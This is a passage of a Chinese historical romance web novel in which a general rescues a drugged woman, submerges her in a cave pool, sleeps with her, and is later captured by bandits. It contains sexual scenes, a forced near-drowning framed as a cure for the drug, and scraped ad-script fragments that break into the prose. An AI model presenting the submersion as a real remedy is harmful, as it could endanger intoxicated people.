“我跟你之间,不过是那么一点点皮肉关系,契约里明码标价,算得清清楚楚。可你跟我索取太多,又不肯剖心置腹,我也犯不着为了你,跟天下人为敌,和兄弟反目成仇。” 时枫并非斤斤计较,小肚鸡肠之人。可天晓得,在苏绾这里,他非要掰扯捣碎,精明算计每一步,真是一点亏都不肯吃。大概是在报复她,胡说八道戏弄他的代价。 一枕槐安,白白空欢喜一场。 怪不得近日来,他心思不宁,夜不能寐。哪知苏绾,就在他眼皮子底下,被人生生剥去一层皮,造成这般落魄模样。 时枫睇着那双星眸,澹如星子,忽然生起些恶趣味。 他插着双臂,垂眸问道:“既然时枫能够救你,那你必须对时枫说实话,知道吗?” 苏绾茫然地点点头。 男人嘴角一扬,脸皮微热,“时枫厉不厉害?” 苏绾使劲点点头,“时枫最厉害。” 嗯? 她说,时枫,最、厉、害。 这个“最”字,颇耐人寻味。 但她的的确确,舍了清白身子与他。 时枫撇了撇嘴,“你这辈子,才见过几个男人,就敢这么说?万一以后,你遇见更、更厉害的男人,你会选择谁?” “时枫。”一弯玉臂勾住他脖颈,佳人水蛇一般攀上他的肩头,娇声道:“我要时枫。” 药劲上来,她根本把持不住自己。 时枫眼眸一沉,此时此刻,他可一点都不想碰她。并非她没有魅力,事实上,他已经有些坐不住了,身下涌起一团热火,无情烧灼他的胸膛。 他可是君子,君子不乘人之危。哦,咳咳,即便他算不得君子,那他也不能违背妇女意愿,只图一时冲动。 万一这疯婆娘清醒以后,反咬一口,怪他欺负她,又哭天抹泪。他可受不了。 他不要他的女人,再为他掉眼泪。 是的,她是他的女人。 她不是已经承认,他是她的男人了吗? 他当真了。 时枫扯开雪白酥臂,睇着她的眼眸,咬牙道:“你要我就给?本将军是你什么人?” 苏绾神魂颠倒,忘记身份现实,只求男人宠幸她。她也不顾廉耻,一脚踢开盖在身上的衾被,展露满园春光,如同纳征那日。 “我的男人。” 言语动听悦耳,但时枫却高兴不起来。这女人发起疯来,什么疯话都敢讲。 苏绾贴在男人后背,薄薄衣衫根本阻隔不了肌肤之亲,突兀的触感瞬间直冲脑际,男人脊背的肌肉立刻紧绷。 冰凉小舌顺着脖颈滑动,陡得青筋暴起。 “别闹。”时枫反手擒住皓腕,轻轻一拧,将苏绾拉入怀抱。 苏绾“嘤”得一声,跌进铁骨臂弯,男人雄浑气息扑面而来,她又感到欢喜,羞红面颊道:“哥哥要我。” 她伸出玉臂抚摸时枫的脸颊,指尖划过刀劈斧削的线条,留下丝丝缕缕的酥麻感。 美人在怀,时枫强忍冲动,粗壮手指碾上朱唇,轻轻一抹,沉声道:“你老实一点,我马上给你泄火。” 小舌探出,舔舐男人手指,算作回应。 时枫差点没把她扔出车外,脑子里一个念头反复涌动:撕碎她,蹂躏她。 “求哥哥要我。”苏绾呻吟道,星眸闪烁,坠着满天繁星。 男人咬了咬后槽牙,狠命敲击车橼,震得车厢晃荡。 前方传来晴雷的声音,“爷有何吩咐?” 时枫顿了顿,沉声道:“去山涧石洞。” 晴雷惊诧道:“夜黑风高,山涧路不平,恐会翻车。” 车厢内传来男人震怒,“叫你去你就去。敢翻车老子剥了你的皮煮熟筛酒吃。” 49. 山涧 白露暖空,素月流天。 马儿既停,晴雷翻身跳下车,山前摸索探寻,俄顷回禀:“山路蜿蜒,爷多加小心。” 时枫掀开车帷,视线逡巡周遭,不见风吹草动,这才拢着苏绾腿弯,抱着被卷,轻身下车。 万物静默,唯有头上孤冷月色,和脚下寂寂山路。冷风飒飒,吹拂鬓间青丝,若有似无撩过鼻翼,丝丝痒。 “嘻嘻……”苏绾星眸迷离,莫名咯咯笑。 时枫正全神贯注落脚点,提防滑腻的青苔。蓦然听她银铃般笑声,不觉眉间一挑,嘴角翘了翘,“你还笑得出来,一会儿就该哭鼻子了。” 怀里的美人缩了缩肩膀,贴近男人宽阔的胸膛,聆听那蓬勃有力的心跳声,砰砰,砰砰,鼓乐喧天,沉稳且有力。 莫名地,她伸出小舌,舔了舔突起。 雷轰电掣,时枫顿觉头顶霹雳,浑身寒毛卓竖。低头看,美人正不遗余力地“袭击”他,好似在舔食枫糖,吮吸得不亦乐乎。 “你这只猫崽子,不要命了是不是?”大掌捏住细细的下颌,摆出“狠戾”模样。 苏绾星眸迷离,海棠醉日,双颊融融,娇喘吁吁,“时枫……” “你是我的……”佳人吐纳。 时枫怔愣地睇着她,星月交辉,那温和的眼眸,盈满了一点点,细碎的光芒,分不清是星辰,还是眸光。半点朱唇微微上扬,说不出是戏谑,还是喜悦。 喉结滚了一滚,俯身凑近唇瓣,轻轻地吻她。 她身上带着淡淡的馨香,直往鼻翼里钻,勾动着他的神经脉络,令他有些上头。 纳征那日,在马车前,他的视线一下子就被她捕捉到,陷入桃花陷阱,无法自拔。 她的每一寸肌肤,他都亲手触摸过,吹弹可破,软软绵绵。 毫无疑问,他被她的外表和身体,深深地吸引住,流连忘返。这是人之最本初的欲望,他并不羞于承认。 那个吻酥连绵,如一瓮百年陈酿,香气氤氲,回味悠长,沁人心脾。唇际依依不舍分开,牵挂一丝晶亮,像两段掰开的脆藕。 时枫轻叹口气,蓦然间怀念起端午的醉仙楼、夜晚的闺房、雨天的画舫,无一不存贮甜蜜且畅快的回忆。 至少,他无须克制自己。 此刻,怀里抱着块宝贝,中看不中用,浑身上下都写满“憋屈”二字。 “你再引诱我,也没有用。我是不会动摇的。” 时枫继续前行的脚步,嘴里絮絮叨叨说不停,仿佛一闲下来,他就没法控制自己。 “合欢散无药可解,若不及时发泄,憋到最后,五脏六腑都会烧成灰烬。” “当然不是字面意思,是说内火攻心,严重时可导致精神失常。” “常人尚可捱过一劫,你却不行。因为你有癔症和疯症病史,烧过这么一下,估计命都没有了。” “但我不能直接扑灭你的火气,那样对你太不公平。我会另想办法,借用外力帮你解决问题。” “这样等你清醒以后,你才不会恨我。” 皎月跟随他的脚步,山涧依硗瘠,光滑峭壁间,藏深幽洞穴。 时枫来到石洞前,对着十步开外的晴雷吩咐道:“任何人都不得靠近洞口,违者斩立决。” 晴雷握住腰间雁翎刀,剑眉挺了挺,“遵命。” 时枫俯身钻进石洞,初极狭,仅容一人通行。入数十丈,豁然开朗。内有一潭,水波粼粼,瀑布挂川,涎玉沫珠。上通天光,星月高低宿水。洞中钟乳石林立,若有千年积淀,映月之光如水银倾泻。深潭湍流,阴冷莫测,石桥横卧水面。 时枫步上石桥,选取临水平整位置,轻轻卸下被卷。 大手一扬,掀开被衾,露出一尊白玉雕像。 苏绾被束缚的身体骤然获得解放,满心止不住的欢喜。她面色绯红,檀口微张,不断呻吟,伸出玉臂,呼唤道:“我的……希望......” 时枫怔怔地睇着她,心里有些犹豫不决。倘若她苏醒以后,还要责怪他翻脸无情,那他岂不是弄巧成拙?何必给自己找麻烦?直接给她泄火,不是轻而易举? 脑子里塞满疑问,着实难倒这位叱咤沙场的大将军,浴血战场都没他这般心力交瘁。 可他不愿再做强迫她的恶鬼,他要保护他的女人。 踌躇半晌,时枫狠狠啐了一口,老子才不是软怂。 “苏绾,莫怪我无情。” 时枫闭上眼睛,深吐一口气,大掌捏着她的臂膀,猛地提起她整个身子,径直投入碧水深潭。 万年平静遽然被打破,生出层层漩涡状涟漪,自中心向外快速扩散。 苏绾陡然深陷冰冷潭水中,下意识地拼命挣扎踢打,拍打碎浪翻涌,好似落水小兽,用尽生命挣脱水潭束缚。 时枫半膝跪立桥边,一手摁着她头顶,将她浸入水面,另一手擎着她肩膀,防止她溺水。他神情专注,凤眸紧紧落在苏绾身上,不敢出一丝差错。 苏绾不得起身,闭着眼睛胡乱抓挠,指甲深深陷入皮肉,不知呛了多少口水。嘴里不住的咳嗽,呜咽哭嚎,声音凄厉如鬼泣。 “啊——” 潭水寒凉砭骨,拍打着她早已迷惘的神智,涌进全身每处毛孔,涤荡着身体内的污浊。乌发披散,遮住那双黯淡的眼,露出惨白的脸颊。面上红晕已退却,月光映衬下,好似一张狰狞鬼脸。那两片薄薄的唇,却越发红润起来,宛如两道洇润血痕。 仅有的一点意识慢慢荡离身体,苏绾感觉自己变成一朵雪花,轻盈洁白,褪去一身尘埃。 她渐渐不再响动。 时枫睇着手里的那朵寒酥,逐渐溶入水中,再也不见。他蓦然感到胸闷,一种从未有过的窒息感油然而生,让他几乎透不过气。他重重地呼吸吐纳,心里仿佛被割了道口子,汩汩地流着血。 “苏绾,都是我的错,我没有尽到利剑的职责。” “在你最绝望的时刻,手里却没有防身的武器。” “我保证,再不会让恶鬼靠近你半步,伤害你一根头发。” “我会永远保护你,直至你先放手。” 男人的头无力地垂着,仿佛战场挫败的将军,颓丧而萎靡。 月影自天穹洒落,给玄色衣袍披上轻纱。四周阒寥无声,黑暗且混沌,唯有两颗跳动的心,扑通扑通,向尘世宣告它们存在的意义。 不知过了多久。 冰凉的潭水浸润苏绾的神智,合欢散药力逐渐式微。数不清的意识碎片正慢慢汇聚,靠拢,联结,拼接成完整的脉络。 脑海里闪现一幅又一幅图画,有温如初桃花眼眸,和他邪恶笑容;亦有皇后放浪形骸,以及数不清的陌生且贪婪的登徒子;还有深宫内清风朗月的一抹凉白身影,满脸无奈的笑容。 画面渐渐模糊,终又化为缕缕烟尘殆尽。 又一幅图画浮现轮廓,逐渐清晰,纤毫毕现,那画里只有一挺高大身影,身穿玄色窄袖圆领袍,脸色铁青,凤眸清冷,眸底寸寸结满摄人心魄的寒霜。 苏绾睁着大大的眼睛,眼底蓄满热切的泪水,她张了张嘴,想呼唤他的名字,却说不出口。 男人居高临下睇着她,洞隐烛微,敏锐地察觉到她的眸色变化,双手搂住她的薄肩,用力一提,将她倏然抱离水面。 “啊。”苏绾短促地惊叫,下一刻却被他搂进怀里,以身体的温暖紧紧贴着她。 “吃到教训没有?”语气焦急,却不是为寻找答案。 苏绾呆呆地凝望着他,伸出玉臂去够他的俊脸。这次,时枫没有躲避,随她摸个够。 大颗大颗泪珠划过脸颊,苏绾哭道:“你来了。” 时枫一愣,疑心她又有些疯痴,轻声道:“嗯。” “为何来得这样迟?”佳人怨嗔道。 时枫咬了咬牙,“也不算迟,你不是好好的?” 苏绾嗫嚅道:“我不好,全身上下没有一处是好的。我烂掉了,像块脓肉,再也好不了了。” 时枫心底抽搐一下,紧紧揽她入怀,“胡说。你是最好的。” 眼泪洇湿衣衫,佳人心碎道:“你又骗我。你总是骗我,之前好几次都是。我恨死你了。” 时枫梦呓道:“没有,我从来不骗人。” 苏绾哭道:“你别走,我好害怕。” 时枫的心,豁然贯通,他搂着佳人,喃喃道:“我不走,我不走,永远都不离开你。” 螓首埋进宽广胸膛,聆听那充满蓬勃生机的心跳,给人温暖又安心的感受,苏绾渐渐地失去知觉。 月白风清,一盏天灯悬挂暮色,让雾气氤氲之地,泛起光晕。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又不知过了多久,苏绾慢慢苏醒,休整大半夜,精神状态好了许多,脸颊恢复红润。 她睁开眼,看见面前侧卧的男人,他的睫毛浓重黑长,鼻梁高挺,唇线分明,剑眉斜飞,面部轮廓完美不可挑剔。她突然意识到,他的卖相也不赖,甚至还有点好看。 睡着的时候,似一尊漆木雕像,安详沉稳,人畜无害;醒来以后,又变成一条黑狗,冷戾阴鸷,仿佛要吃人。 想到这里,苏绾忍不住将他腹诽一百遍,恨不得攥着臂膀狠狠咬他一口。 “看够了没有?”男人阖合双眼,沉声道。 苏绾吓得炸毛,赶紧阖眼装睡,停了几个呼吸,不见对方有反应,她偷偷眯起半边眼角,窥见那只猎兽平躺石桥,呼吸均匀稳重。 苏绾松了一口气,葱指拂胸口,心脏咚咚跳得厉害,也不知道自己怕什么。正回神间,身子忽然离地半尺,被人拢着腿弯儿,卷着铺盖卷儿,拦腰抱在怀里。 “你干什么?”苏绾急得惊叫。 男人勾了勾唇,“你偷看我,占了本将军的便宜,我要你还回来。”说着,不顾一切去衔苏绾小巧的耳珠,野兽般狂咬。 苏绾挣扎不得,脸颊羞红,喘息道:“放开我,你这禽兽。” “我是禽兽?”男人停下进攻的步伐,不悦地蹙了蹙浓眉。 “若非本将军,你早就死了。”男人冷冷道。 苏绾拉紧罩着身体的薄被,她认得出来,那是温府的东西,被角绣着朱红色的“温”字。 温府发生的一切,好像画片,历历在目。温如初狰狞的笑容,与温夫人麻木不仁的眼神,令她不寒而栗。她仿佛掉进十八层地狱,阎罗小鬼黑白无常紧着要抓捕她。她拼命地逃跑,在无尽的血路上狂奔。两旁伸出无数手脚,拉扯羁绊她,她尖叫着“救命”,跌跌撞撞,一转身,却又跌入万丈深渊…… “苏绾!” 忽然一声怒吼,天雷震怒,将苏绾拉回现实。苏绾抬起星眸,满眼坠泪,“时将军,奴家谢谢你。” 时枫此刻只想抽自己一个大嘴巴,明知苏绾有疯症癔症病史,他居然差点将她再一次推入深渊。假如苏绾真的犯病,那他之前的隐忍与苏绾受到的苦难,将全部付水东流。 那可太亏了。 他将苏绾身子扶正,面对面睇着她,桥边潭水倒映月光,碎银般洒落苏绾的面颊,越发显得红润可爱。 男人喉结滚了一滚,咬着牙道:“他有没有欺负你?” 苏绾摇摇头,“我没事。” 她撒谎了,身体安然无恙,可精神却遭受百般折磨与摧残,几乎割裂她的心脏,她仿佛死了一万次,又从荆棘中挣扎活过来。 时枫的心脏,也跟着割裂一万次,支离破碎,汩汩淌着鲜血。他伸手抚摸惆怅的小脸,喃喃道:“我替你杀了他。” 星眸蓦然一亮,瞬间点亮银河。 可一瞬间,光亮又黯淡,“你杀不了他。” “怎么杀不了?你忒小看本将军。”男人挑了挑眉峰。 鲁莽真刀真枪杀人,自然是不行。他说的是,要在朝堂上,以权谋之术,给予敌人痛击。 “孙子兵法,不止作用于战场。” 男人的眼神如鹰隼般锐利,铁打的胸膛装满丘壑,运筹帷幄之中,决胜千里之外。 苏绾揉了揉眼睛,不敢置信,“说话算数!” 男人嘴角一斜,“君子无戏言。” 月光恰时而泻,落在男人身上,周身泛起光辉,衬托他如天神般伟岸。那点盈润的光辉落入苏绾的眼眸,挤走她眼角残泪,温暖她的心怀。 有他在,就有希望。 苏绾垂下眼眸,卷睫剪了剪,心事层层翻涌上来,少女展开玉臂,摆脱被衾束缚,勇敢地去够他的脖颈,如同纳征之日那样。 男人怔愣不动,霎时从脸颊到脖颈烧得通红,任凭湿软红馥的唇在各处流连戏蝶。 可他只停留一两呼吸间,便再也忍捺不住内心渴望,翻身压倒柔软的身子,尽情放纵压抑整夜的□□。 一双妙人滚来滚去,不小心滚落潭水。热气升腾便欲致云雨,冰凉潭水浇不息火热情怀。水纹一圈一圈扩大,水浪不断翻涌上来,又陷落下去,搅乱千年沉淀。 月暗送潮风,天地一双人。 50. 山匪 「春梦不胜长,忽而云雾消散,昼窗过白驹,春和景明,波澜不惊。梦里再无山水,只一片亭台楼阁景致。 时枫打眼望去,红木书桌上摆着文房四宝,整整齐齐,茶盏里的碧螺春香气袅袅。多宝阁内珍品妙玩,缥缃佛经翻卷皴裂。香炉内檀香烟纠缦,一缕茶烟透碧纱。墙上悬挂宝剑,宝石剑坠晶莹透彻。 他应五品东阁大学士温如初的邀请,前来温府书房议事。此刻他端坐桌案前,眉头拧了又拧,蹙了又蹙。 案上横陈一位美人,被剥光衣裳,作为一盘女体盛飨,展现在他面前。美人玉雪肌肤,笼罩绛红绢纱,风骨自是倾城姝。 仔细望去,那美人不是别人,正是温如初的正妻,苏绾。 时枫心内攥得紧紧,温如初的这一步明棋走得太快,入阁不到一年,即弹劾了阁老章任梁,自己取而代之。这下一步,恐怕是欲以相同的手段,来对付他。 可是,刀他何必用她? 苏绾半裹绢丝绸被,露出月中聚雪的臂膀。如葱手指撩起一束散落青丝,挽向耳后。腮边红润如霞,朱唇不知出于兴奋,还是恐惧,微微半启,小舌隐隐若现。 她舔了舔嘴唇,甜甜笑道:“时将军不喜欢吗?” 时枫摩挲窄袖袍子护腕,镶嵌墨玉翡翠闪着冷光,冷冷说道:“我不狎妓。” “时将军,你忒小看奴家。”苏绾站起身,如玉锁骨在阳光照耀下,散发锆石般晶彩光泽。玉足缓缓跬步向前,距离时枫不过一臂之遥, “奴家不为求财,自然谈不上卖身。不过是想借助将军的羽翼,庇护奴家周全。对于绥靖王来说,豢养一只听话的猫儿,何乐而不为呢?何不先听听奴家的筹码,再做议论不迟。” 时枫睇着她的清澈眼眸,澹如星子般纯净,与底下妖艳妩媚的春光相比,显得格格不入。那双眸子,曾浸润北海的冰凉湖水,滚下热烫的眼泪。 一滴一滴,落在他的心头。 可惜了,本为质朴美玉无瑕,陷进泥淖中不能自拔。但他不能为怜惜一朵破碎的花儿,助长别人的嚣张气焰。 他蹙了蹙剑眉,果断道:“没兴趣。” “将军未曾同奴家彻夜触膝深谈,又怎知不会对我感兴趣?”一弯玉臂搭上他的宽阔肩膀,白皙寒凉肌肤若有似无贴近他的滚烫脖颈。 “放肆。”他猛然扼住少女咽喉,揿在梨木雕花屏风,“不要让我重复第二遍。” 少女胸口起伏,山峰跌宕,若一幅会动的风景画,触了时枫的眼。他偏过额首,目光落在屏风雕刻的一树梨花。 苏绾轻咳两下,舒展娥眉,梨涡浅笑:“将军舍不得杀我。” 笑靥明媚无邪,似一朵轻云出岫。颈间红梅点点,皆是拜他所赐。 “你只说对一半。” 男人突然潇洒回转,顺手拔掉墙壁悬挂的宝剑,在苏绾脖颈处,挽了一个剑花,霎时寒影曝射。乌发自耳根处齐刷刷截断,散做满天银河瀑布。 “念在温如初的情分,我不杀你。斩发如斩首,你当谨记在心。”时枫背过身去,声音冷得如同淬了冰。 星眸黯淡无光,苏绾道了个万福,“奴家谨遵将军命令。” 时枫咬了咬后槽牙,心中万般不忍,直叹苍天变化难料。遂杀心四起,恨不得一刀剐了温如初那孽障。又想得苏绾会跪地恳求他放手,于心又不忍。 翻来覆去,夜不能寐,猛地睁开眼。」 ****** 眼前水面恢复平静,星月陨落,一线天坠入一道轻薄白雾。 “你醒了?”耳边响起轻柔的话语。 时枫睨了一眼,佳人侧身枕着他的手臂,正用一汪水眸望着他。 男人深深吐出一口气。 幸好是梦。 他可不要拿剑斩断她的头发,简直不是个男人。 是男人的话,怎会忍心割爱,将宝贝拱手让人? 可梦中情景历历在目,又让他感到恍惚唏嘘。 如果,梦境所言才是真相呢? “做噩梦了?”玉手在眼前晃了一晃,“咬牙切齿的,拳头握得紧紧,恨不得捏死人。” 时枫冷笑一声,“可不是嘛,我做梦都想着,一定要逮住你这个不听话的小东西。” 他捏住一双葇荑,嗔道:“你不是很会拿捏男人吗?怎不使出你的夺命连环击,踢爆欺负你的人的□□。见了他,如同耗子见了猫,你到底在怕什么?” 苏绾枕着男人宽阔的臂弯,她夺回被捏住的双手,轻轻触碰凝结成血痂的织物,硬邦邦的,跟这个人的性格一样。 忽然视线落在胸膛前一处疤痕,一寸来长,貌似割划极深,深入肺腑。她好奇地仔细盯着伤疤看了又看,还是没搞懂是怎样造成的,莫非是拿刀锉骨剖心不成? “你也知道,我只会那么一两招,镇得住小喽啰,却打不过大魔王。凭我自己单打独斗,早就死上无数次了。” 男人不经意拂过心口处伤疤,阻断苏绾探求的视线,大手抚摸她的眉间,眼眸沉静如夜,“你不必担心,我已经安排好所有事情。保证完成的干干净净,让他抓不住半点把柄。” 苏绾眼眸闪了闪,“他的爪牙遍布京城,不是那么容易对付的。” 时枫畅然笑了笑,“你怎么长敌人志气,灭自己威风?小小户部侍郎,能成多大气候?最多不过叫三司一起来抓我审我,本将军怕他作甚。” 苏绾翻了翻白眼,“三司会审还不够你吃一壶吗?上次苏尽欢的案子不是被都察院截□□如初的背后,可不止一个户部,毫不夸张的说,五寺六部,尽在他的掌握之下。就连内阁和司礼监,他也有本事够到。” 司礼监?时枫眼眸一沉,他的情报簿里,可没有这一截。 司礼监乃后宫爪牙,太后皇后以及皇室贵戚借此掌控朝堂一举一动,而内阁则站在皇帝一边,二司分庭抗礼。 苏尽欢一案,让时枫看到温如初同内阁的关系网络,已十分让他头疼,如今怎么又加上一条司礼监? “关司礼监什么事?”男人疑惑道。 温如初现在还未得机会与司礼监的太监做交易,可是等到他成功那一日,就为时晚矣。 上一世,温如初借着弹劾镇南王圈地的借口,同司礼监交涉,以此打开太后皇后那边的关系网络。 正是苏绾出的主意,让他故意制造机会,在颐和园“偶遇”皇后。从此,在苏绾的协助掩护下,温如初成了皇后的“姘头”,苟且偷生长达三年之久,两人还生就子嗣。 温如初成为首辅之后,苏绾为报复司礼监对自己不逊,下令杀灭司礼监一众太监,彻底惹怒后宫。经过一番明里暗里宫斗,皇后落败上吊自尽,太后气急吐血身亡。 而温如初冷眼旁观后宫斗得昏天暗地,毒酒鸩杀皇帝,将他与皇后所生的私生子推上皇位,自己成为托孤的“辅国大臣”,坐收渔翁之利。 往事如烟,她一个字都不能泄露,任凭烟消云散。 苏绾垂下眼眸,“暂时还没线索。不怕一万,就怕万一。” 轻描淡写的态度欺骗不过时枫的眼睛,男人蹙了蹙眉,“苏绾,你到底还有多少事瞒着我?” 苏绾的回答简单干脆:“没有。” 她一贯爱以这两个字糊弄他,时枫才不信她的邪。 他从洁白脖颈下,愤然抽出已被压麻的臂膀,怒道:“没良心的东西,为了救你,本将军差点搭了半条命进去。你就是这般报答我的?一句实话都没有。” 苏绾默默转过头去,“爱信不信。” 这女人忘恩负义,翻脸不认人。一刻钟之前,两人才刚翻云覆雨,颠鸾倒凤,恩爱两不疑。这会子待他比乞丐还不如。 时枫忽然想同她掰扯掰扯,这笔交易到底值不值。他攥了攥拳,咬牙道:“你别以为自己有多厉害,玩弄所有人于股掌间。你的那点底细,早被人翻得底朝天。你说你要退婚,早干嘛去了?我得到的线报说,你为了嫁他,佛堂跪地念经祈祷,整整念了两年!我问你,你求佛求了七百日,心愿得偿否?” “还有,纳征那日,并非你我初遇。月前醉仙楼,我明明见过你一次,你可记得当时你说过什么,做过什么?我来替你回忆一下,你说的是:‘绾绾不要办纳征提亲礼,只要念哥哥愿意娶我,绾绾别无所求。’”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “别无所求?啧啧。”时枫哂笑一下,“多么动听悦耳的话,我都快感动哭了。” “现在你跟我说,没有事情瞒我?哈哈。是你疯了,还是我疯了?” 他啐了一口,恨道:“婊子无情。” 苏绾咬紧嘴唇,她没办法解释。过去那个恶毒疯狂的苏绾已经死了,现在的苏绾,经历了风霜刀剑的洗礼,又在烈火焚烧中,重获新生。 苏绾一声不吭,男人气个半死,翻身压倒苏绾,两手撑在两边,凤眸泛着狠戾的冷光,好似吃人的铁兽。 “苏绾,我只问你一句:你可是拿真心待我?” 苏绾转过脸,星眸勇敢对视铁兽冰冷的寒光,缓缓吐出一个字:“是。” 时枫阖合双眼,翻身复又躺下,嘴里呼出一口气。 他相信她。 不管她身上藏有多少秘密,是敌还是友,仅此一字足矣。 男人闭着眼,声音极其沉稳,除了略微沙哑以外,听不出任何情绪波动,“好吧,我暂且相信你一次。但你不许再跟我耍花招,否则,我会亲手杀了你。” 苏绾缩了缩身子,弓成虾背模样。 “别忘了,你身体里还有七根银针呢,难道你不想着取出来吗?谁都帮不了你,除了我。”男人没好气似的,斤斤计较道。 忽又欺身压倒苏绾,“这一遭本将军赔大发了,必须再来两次。”他挺了挺背脊,哑声道:“我要换个姿势,之前那个太费力,我不喜欢。” 他扶住苏绾坐在自己腹部,拍她的腿命令道:“动。” 苏绾气得直翻白眼,真是头喂不饱的饿狼。她起身想逃,却被大手钳住不放。 “快点,晴雷等不急要回去了。”饿狼红着眼睛催促。 晴雷打了一个喷嚏,揉了揉微微泛红的鼻尖。野外风紧,他缩了缩身子,两臂交叉胸前。 夜猿惊啼,风过草低洼地,露出几抹黑影。他们脚踩崎岖山路,来往穿梭极速向前。 沙沙风声暴露了黑影的行踪,晴雷警觉地握紧雁翎刀。 “什么人?!”侍卫厉声喝道。 月光恰时穿过云层,洒落大地银白光芒,将黑影模样显露无疑。他们身穿粗布衣褂,手握带环大刀,满脸横肉,凶悍狰狞,一看就不是良人。 领头汉子五大三粗,右眼一道疤痕贯穿,他扛着大刀向前一步,抛出两句烂大街的黑话:“此山是我开,此树是我栽。要想过此路,留下买路财。” 居然遇到山匪。 少年大喝一声:“岂有此理,看刀!” 刀身挺直,刀尖处有弧度,有反刃,因形似雁翎而得名。雁翎刀出鞘,寒光凝雪彩,杀人于无形。雪白锋刃带着破风之声,与山匪的大刀碰撞,发出清脆的撞击声。 山匪虽然人多势众,但对方身手敏捷,刀法高超,一时间竟难以近身。月光透过树梢,洒在这场战斗上,侍卫的身影在月光下显得格外矫健。他时而跃起,时而翻滚,巧妙地躲避山匪们的攻击,同时寻找反击的机会。 战斗持续了许久,刀下已经倒下了好几个山贼。刀疤脸见状,怒吼一声,挥舞着手中的大刀,亲自加入战斗。他的力气惊人,每一刀都带着千钧之力,晴雷不得不全力以赴,与之周旋。 最终,在一次巧妙的闪避后,晴雷找到机会,一刀刺穿刀疤脸的胸膛,刀疤脸一声不吭倒下。其他山匪见势不妙,吹了声口哨,声音婉转悠长,转了几个来回,谷间深处响起回应。 顷刻间,数十位山匪黑暗中蠢蠢欲动。 晴雷撇了撇嘴,雁翎刀在靴边一抹,擦去刀刃的血迹。双手握紧腰刀,明眸一沉,眸底露出血色。 洞内时枫听到外面动静,知道出事了。他冷静地起身穿好衣服,扔给苏绾一套干净的男子服饰,“穿上这个,不要声张。” 苏绾麻利地穿戴整齐,月色寒潮映照,举手投足端地一副潇洒美少年模样,看得时枫眼睛发直,竟忘记外面的剑拔弩张。 他上前一步,揽住美少年入怀,哑着嗓子道:“下次我要看你穿着这身衣服,伺候本将军。” 美少年狠狠瞪了他一眼,“有病。” 51. 洞房 “别来无恙,时大将军。” 圆月傍关山,轻烟拂流水,竹月色襕衫绢纱袍子水中浸染,萤光点点。细长的眼眸流转,悦色波光潋滟。 公子甩了甩襕衫袍子沾染的晨露,折扇掌中敲了敲,颇有兴致招呼道:“我道是哪里来的痴男怨女,荒唐洞里闹荒唐。原来故友重逢,萧某有失远迎,还请兄台海涵。” 熟悉的眼波在苏绾身上滚了又滚,令她感到十分不自在,轻轻退却一步,缩在男人的背影里。 那点点胆怯猫爪子似的,挠了挠襕衫公子的心头,萧染嘴角一斜,似笑非笑道:“啧啧,萧某竟不知,时兄的癖好,如此别具一格。佩服佩服。” 时枫负手而立,冷哼一声,“夜路走多了,遇鬼在所难免。”凤眸睥睨萧染,“这一遭,你又想耍什么花招?” 萧染停下手中折扇,眸色闪亮,夹杂着蓄谋已久的兴奋,“那还用问吗?当然是成全你俩,月下牵手,拜堂成亲。” “你说什么?!”苏绾大惊。 男人凤眸沉了沉。 山谷间无数火把燃起,照得周围亮如白昼,宛若天灯盏盏,一路扶摇直上,连接天穹宫阙。 天灯尽处,崇山峻岭环绕,粗壮圆木绑成一排围墙,大门布满生锈的铁钉和木刺。城墙上的火把发出微弱的光芒,夜风摇曳,投射出长长的、扭曲的影子。 侍卫晴雷浑身遭麻绳捆绑,反剪双手,一脸生无可恋,他边走边嘟囔:“堂堂京郊三万驻兵统领,竟遭几个毛贼生擒,沦为阶下囚,再也没有比这更窝囊的。” 他抬起桀骜不驯的额头,向时枫抱怨道:“爷怎么就着了那疯痞的道?你我杀出一条血路,总好过束手就擒。” “闭上你的鸟嘴,你杀出血路跑了,剩下的人咋办?长翅膀飞出去不成?”时枫嗔道。 晴雷没好气似的回道:“这可不像爷当年在漠南战匈奴兵的时候了,比现在敌人多海了去了,也没见爷的眉毛抖一抖。” 凭他一人,剿灭几十山匪不算什么难事,“冷面阎罗”怕过谁?难就难在,他并非孤身一人。 他得保护他的女人啊。 时枫按下嗓音,低声吩咐晴雷道:“以不变应万变,看那疯痞能耍何把戏。” 言毕,又像想起什么似的,男人故意凑到佳人身旁,蹭了蹭苏绾的左臂,安抚她道:“你莫慌,我手里有这山寨的地图,早已摸清整座山的地形地貌,他们不能把你怎么样,我自会找机会救你出去。” 苏绾闻言一颤,抬头惊道:“你何时……” 时枫得意地勾了勾唇,“你以为你的男人只会吹牛吗?”话音既落,忽然意识到自己措辞不当,男人猛然挺直身板,面皮微热显尴尬。 苏绾却未注意到不妥,她忽然有了主意,“既然如此,我们去马厩找几匹马,趁天黑逃走吧。” “你会骑马?”时枫忽然问道。 她一个文官府上的千金小姐,竟懂驭马之术,全京城也找不出几个,着实不寻常。 的确不寻常,因为苏绾的马术是她在御马监学会的。 御马监表面与兵部及督抚共执兵柄,实为内廷“枢府”,管理草场和皇庄、经营皇店,与户部分理财政,为朝廷的“内管家”。 上一世,温如初以户部侍郎名义,通过贿赂绑定利益等手段,早早打通御马监的关系,间接掌控皇宫内部的兵权,而锦衣卫则形同虚设。 苏绾把持后宫专权,巧设毒计利用御马监打倒锦衣卫,从某种意义上讲,也是打败一品威武将军时枫在皇庭内部的上直卫势力。 借助苏绾的扶持,温如初一路蚕食攻克内阁、御马监、锦衣卫、司礼监各方势力,最终成为独霸朝廷的辅国大臣,成为真正意义上的掌权者。 苏绾低下头,借着月光掩映,含糊其辞,“当然不要我亲自骑马呀,你载着我不就行了。” 时枫本欲再追问几句,又想起自己既已决定信任她,断不该反复不停怀疑女人,实在有失风度。 他动了动嘴唇,冷冷道:“你是我什么人,竟敢号令本将军做你的马夫,痴人说梦。” 佳人莞尔道:“才刚是谁说的?我的男人只会吹牛做牛倌,当然做不得马夫。” 留下一抹灿烂的笑意,散作满天星辰。 男人愣在原地。 这时候,寨门缓缓开启。 寨内空旷,各处张灯结彩,大红灯笼高高挂,透着一股不合时宜的诡异。山匪皆穿红戴绿,喜气洋洋,面上堆着苦笑。 